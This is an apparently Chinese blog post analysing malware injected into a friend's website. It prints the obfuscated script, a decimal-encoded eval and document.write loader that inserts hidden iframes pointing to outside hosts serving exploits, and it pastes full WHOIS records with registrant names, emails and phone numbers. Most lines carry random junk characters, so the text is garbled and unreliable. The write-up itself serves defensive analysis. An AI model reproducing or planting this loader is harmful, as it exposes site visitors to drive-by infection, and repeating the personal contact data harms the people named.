首发在我的博客里面，
.ao'o,|vE Xmy(pV!PF http://www.areway.cn/?p=175 ]4@z.1Mr Dbr(Wg st36xS 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
%>cc%(POO Uc
e#v) <script>t=’60,105,102,114,97,109,101,
z x{\SU 32,115,114,99,61,104,116,116,112,58,47,47,
/= P!9d
{ 102,114,101,101,46,117,45,117,117,117,46,99,
lfR"22t 110,47,101,114,114,111,114,46,104,116,109,
?7:"D e 32,119,105,100,116,104,61,49,48,48,32,104,
h Mw}[6m 101,105,103,104,116,61,48,62,60,47,105,102,
nLkC-+$t M 114,97,109,101,62′;
wP/rR D 6 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
&K k+RHM ,K7C2PV6 <script>t=’60,105,102,114,97,109,101,32,115,
*n?6x!A 114,99,61,104,116,116,112,58,47,47,102,114,
;3 '}(_n 101,101,46,117,45,117,117,117,46,99,110,47,
'dj}- Rs 101,114,114,111,114,46,104,116,109,32,119,
T$%u=$E%F 105,100,116,104,61,49,48,48,32,104,101,105,
6"
3!9JC 103,104,116,61,48,62,60,47,105,102,114,97,
^~MHxF5d 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
; ,*U,eV document.write(t);</script>
B! < {s' -'k<2 "z <html xmlns=”
nngL,-v#F http://www.w3.org/1999/xhtml s@o"V >t “>
DC *|tHl <head>
h b j^!0m <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
{NE;z<,*: <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
D4[5}NYU <title>首页 - 爱生活家庭网
~C=`yj 8%7H
F: 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
n<yV]i$ 转换字符串后的大概内容是（谁点击后果自付）：
TO[5h Y\ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
wSIt"g,% 4$.UVW\ 查询玉米u-uuu.cn的详细信息：
] -{T-*h: Domain Name: u-uuu.cn
-$WiB ROID: 20070901s10001s64972306-cn
txr!3-Ne'! Domain Status: ok
$if(`8 Registrant Organization: 王雷
)'%L#
Registrant Name: 王雷
a|?CC/ Ra Administrative Email:
czlovexs@126.com . 36'=K Sponsoring Registrar: 北京万网志成科技有限公司
I+O !<S B Name Server:ns.yovole.com
vWf C!k-)b Name Server:ns1.yovole.com
WP^%[?S2 Registration Date: 2007-09-01 17:54
)X\3bPDJR Expiration Date: 2008-09-01 17:54
w SV[nK 最后PING了一下地址 都没有什么….
xKsn);].` X?r JO~5 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
XrSqU D <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
oB9Fas!N <script language=”javascript” src=”
p fAp2" http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 8qBRO [ >
*JO"8iLw 这个玉米应该有可能是木马作者的：
*/\dH< foafau.info的详细信息：
RWA|%/ L Access to INFO WHOIS information is provided to assist persons in
{LJCY<IGq determining the contents of a domain name registration record in the
oF
V9t{~j Afilias registry database. The data in this record is provided by
/q='~t Afilias Limited for informational purposes only, and Afilias does not
6mdJ
=b# guarantee its accuracy. This service is intended only for query-based
F$F5N1< access. You agree that you will use this data only for lawful purposes
~>}B Ds M and that, under no circumstances will you use this data to: (a) allow,
AH=6xtS- enable, or otherwise support the transmission by e-mail, telephone, or
Y<#7E;aL facsimile of mass unsolicited, commercial advertising or solicitations
XfbkK )d to entities other than the data recipient’s own existing customers; or
h"%6tp V- (b) enable high volume, automated, electronic processes that send
tGmyTBgx queries or data to the systems of Registry Operator, a Registrar, or
L/nz95 Afilias except as reasonably necessary to register domain names or
; p\rgam modify existing registrations. All rights reserved. Afilias reserves
L1)? 5D the right to modify these terms at any time. By submitting this query,
m}Tu^d y you agree to abide by this policy.
D>*%zz| Domain ID:D22418703-LRMS
1ygu>sKS&A Domain Name:FOAFAU.INFO
m
U7Ad" Created On:20-Nov-2007 16:05:42 UTC
ew?UHV Last Updated On:20-Nov-2007 16:05:44 UTC
S2jo@bp! Expiration Date:20-Nov-2008 16:05:42 UTC
NX)7g }S Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
C
UBcU Status:CLIENT DELETE PROHIBITED
*+p'CfsSka Status:CLIENT RENEW PROHIBITED
d2X#_(+d Status:CLIENT TRANSFER PROHIBITED
@gX@mT" Status:CLIENT UPDATE PROHIBITED
wK#UFOp Status:TRANSFER PROHIBITED
8n~@Rj 5 Registrant ID:GODA-040110615
5W<BEcV\ Registrant Name:liu hong
zKV {JUpG Registrant Organization:
={maCYlE. Registrant Street1:beijing
=Z-.4\ 3 Registrant Street2:
i-E&Y*\^9H Registrant Street3:
[U3z*m>e; Registrant City:beijing
qd{|"(9B Registrant State/Province:
&V gjd> Registrant Postal Code:100000
$8i t&/JP, Registrant Country:CN
f "Iv Registrant Phone:+86.860108888777
I[t)V*L9 Registrant Phone Ext.:
V i#(x9. Registrant FAX:
~q|^z[7 Registrant FAX Ext.:
(Z `Y Registrant Email:bbbshiji@163.com
N;[w`d'# Admin ID:GODA-240110615
M5) 6|T Admin Name:liu hong
=:a 3cr~ Admin Organization:
E?08=$^5%
Admin Street1:beijing
uvA}7L{UO Admin Street2:
:syR4A WM Admin Street3:
$g| g}>Sc Admin City:beijing
QT%&vq Admin State/Province:
IHagRldG Admin Postal Code:100000
W=)}=^N0 Admin Country:CN
m5d;lrk@&/ Admin Phone:+86.860108888777
t O~ H/0 Admin Phone Ext.:
M6?Q w= Admin FAX:
@RaMO# Admin FAX Ext.:
Wdy2;a<\ { Admin Email:bbbshiji@163.com
SZwfYY!ft0 Billing ID:GODA-340110615
(\R"v^ Billing Name:liu hong
kV<VhBql! Billing Organization:
f$WO{ J Billing Street1:beijing
r &ToUU 5 Billing Street2:
F1Z20)8K Billing Street3:
A0[flIl Billing City:beijing
yobi$mnsy! Billing State/Province:
U_I'Nz!^ t Billing Postal Code:100000
=
)(; Billing Country:CN
FP9ZOo og Billing Phone:+86.860108888777
oN _% oc Billing Phone Ext.:
_r,# l5~U Billing FAX:
~kN6Hr*X Billing FAX Ext.:
s` S< BX7 Billing Email:bbbshiji@163.com
! B )Em Tech ID:GODA-140110615
vB.LbYyF Tech Name:liu hong
Qgf_ Tech Organization:
[;.zl1S < Tech Street1:beijing
z1] RwbA?1 Tech Street2:
D % 5 0 Tech Street3:
LQ{4r1,u] Tech City:beijing
{ZfTUt)-P Tech State/Province:
l_}c[bAUu Tech Postal Code:100000
c8}1-MKs_R Tech Country:CN
a<\m`
Es= Tech Phone:+86.860108888777
@ObsW!g Tech Phone Ext.:
i,bFe&7J Tech FAX:
'x6Mqv1W Tech FAX Ext.:
?NHh=H\7u Tech Email:bbbshiji@163.com
1^$Io}o:S Name Server:NS27.DOMAINCONTROL.COM
#4" \\ Name Server:NS28.DOMAINCONTROL.COM
fk",Y tS* Name Server:
m X 2Qf8 Name Server:
;2X1 qw> Name Server:
C(gH}N4 Name Server:
&2) mpY8xQ Name Server:
LTa9'
q0 Name Server:
(cCB3n\20 Name Server:
Fir7z nRW Name Server:
1P[!B[;c Name Server:
4s$))x9p Name Server:
?^@; 8m Name Server:
52%.^/ I .(
9{ 接着下载每个文件里面的代码：
=R Q>q 一步一步看..
K): )bL(B 
7tt&/k?Q 
e1 '_] 
rP>5OLP 
^Nc\D7( l 
4Q!*h8O 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
